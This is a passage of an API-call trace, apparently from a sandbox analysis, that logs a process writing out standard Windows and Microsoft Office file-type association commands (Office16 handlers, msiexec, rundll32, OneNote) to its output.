	[0056.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-publisher=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-publisher=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.792] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.792] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.792] GetFileType (hFile=0x5c) returned 0x3
	[0056.792] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-visio=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-visio=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.792] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.793] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.793] GetFileType (hFile=0x5c) returned 0x3
	[0056.793] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-word=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-word=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.793] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.793] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.793] GetFileType (hFile=0x5c) returned 0x3
	[0056.793] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mscfile=%SystemRoot%\\system32\\mmc.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscfile=%SystemRoot%\\system32\\mmc.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 48
	[0056.793] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x2f, lpOverlapped=0x0) returned 1
	[0056.794] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.794] GetFileType (hFile=0x5c) returned 0x3
	[0056.794] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSDASC=Rundll32.exe \"%CommonProgramFiles%\\System\\OLE DB\\oledb32.dll\",OpenDSLFile %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSDASC=Rundll32.exe \"%CommonProgramFiles%\\System\\OLE DB\\oledb32.dll\",OpenDSLFile %1\r\n", lpUsedDefaultChar=0x0) returned 86
	[0056.794] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x55, lpOverlapped=0x0) returned 1
	[0056.794] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.794] GetFileType (hFile=0x5c) returned 0x3
	[0056.794] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Msi.Package=\"%SystemRoot%\\System32\\msiexec.exe\" /i \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Msi.Package=\"%SystemRoot%\\System32\\msiexec.exe\" /i \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 61
	[0056.795] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3c, lpOverlapped=0x0) returned 1
	[0056.795] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.795] GetFileType (hFile=0x5c) returned 0x3
	[0056.795] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Msi.Patch=\"%SystemRoot%\\System32\\msiexec.exe\" /p \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Msi.Patch=\"%SystemRoot%\\System32\\msiexec.exe\" /p \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 59
	[0056.795] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3a, lpOverlapped=0x0) returned 1
	[0056.795] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.795] GetFileType (hFile=0x5c) returned 0x3
	[0056.795] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSInfoFile=%SystemRoot%\\system32\\msinfo32.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSInfoFile=%SystemRoot%\\system32\\msinfo32.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53
	[0056.795] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x34, lpOverlapped=0x0) returned 1
	[0056.796] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.796] GetFileType (hFile=0x5c) returned 0x3
	[0056.796] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.MPD=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.MPD=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0056.796] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5b, lpOverlapped=0x0) returned 1
	[0056.797] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.797] GetFileType (hFile=0x5c) returned 0x3
	[0056.797] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.MPX=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.MPX=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0056.797] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5b, lpOverlapped=0x0) returned 1
	[0056.797] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.797] GetFileType (hFile=0x5c) returned 0x3
	[0056.797] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Project.9=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Project.9=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0056.797] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x61, lpOverlapped=0x0) returned 1
	[0056.797] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.797] GetFileType (hFile=0x5c) returned 0x3
	[0056.797] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0056.798] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x60, lpOverlapped=0x0) returned 1
	[0056.798] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.798] GetFileType (hFile=0x5c) returned 0x3
	[0056.798] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0056.798] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5f, lpOverlapped=0x0) returned 1
	[0056.798] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.798] GetFileType (hFile=0x5c) returned 0x3
	[0056.798] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0056.798] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x61, lpOverlapped=0x0) returned 1
	[0056.799] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.799] GetFileType (hFile=0x5c) returned 0x3
	[0056.799] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSSppLicenseFile=\"iexplore.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSSppLicenseFile=\"iexplore.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 39
	[0056.799] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x26, lpOverlapped=0x0) returned 1
	[0056.799] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.799] GetFileType (hFile=0x5c) returned 0x3
	[0056.799] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1\r\n", lpUsedDefaultChar=0x0) returned 58
	[0056.799] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x39, lpOverlapped=0x0) returned 1
	[0056.800] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.800] GetFileType (hFile=0x5c) returned 0x3
	[0056.800] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="msstylesfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msstylesfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 178
	[0056.800] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0xb1, lpOverlapped=0x0) returned 1
	[0056.801] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.801] GetFileType (hFile=0x5c) returned 0x3
	[0056.801] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="odtfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odtfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0056.801] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x42, lpOverlapped=0x0) returned 1
	[0056.802] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.802] GetFileType (hFile=0x5c) returned 0x3
	[0056.802] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OfficeListShortcut=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeListShortcut=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.802] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.802] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.802] GetFileType (hFile=0x5c) returned 0x3
	[0056.802] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OfficeTheme.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeTheme.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0056.802] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5d, lpOverlapped=0x0) returned 1
	[0056.803] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.803] GetFileType (hFile=0x5c) returned 0x3
	[0056.803] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="oms=\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oms=\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1\r\n", lpUsedDefaultChar=0x0) returned 161
	[0056.803] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0xa0, lpOverlapped=0x0) returned 1
	[0056.803] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.804] GetFileType (hFile=0x5c) returned 0x3
	[0056.804] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.804] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.804] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.804] GetFileType (hFile=0x5c) returned 0x3
	[0056.804] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Folder.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Folder.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0056.804] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x55, lpOverlapped=0x0) returned 1
	[0056.804] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.804] GetFileType (hFile=0x5c) returned 0x3
	[0056.804] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Notebook.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Notebook.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.805] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.805] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.805] GetFileType (hFile=0x5c) returned 0x3
	[0056.805] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Package=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Package=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 85
	[0056.805] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x54, lpOverlapped=0x0) returned 1
	[0056.805] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.805] GetFileType (hFile=0x5c) returned 0x3
	[0056.805] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Section.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Section.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 87
	[0056.805] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x56, lpOverlapped=0x0) returned 1
	[0056.806] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.806] GetFileType (hFile=0x5c) returned 0x3
	[0056.806] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.TableOfContents=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.TableOfContents=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 103
	[0056.806] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x66, lpOverlapped=0x0) returned 1
	[0056.806] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.806] GetFileType (hFile=0x5c) returned 0x3
	[0056.806] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.TableOfContents.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.TableOfContents.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0056.806] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x69, lpOverlapped=0x0) returned 1
	[0056.806] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.806] GetFileType (hFile=0x5c) returned 0x3
	[0056.806] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
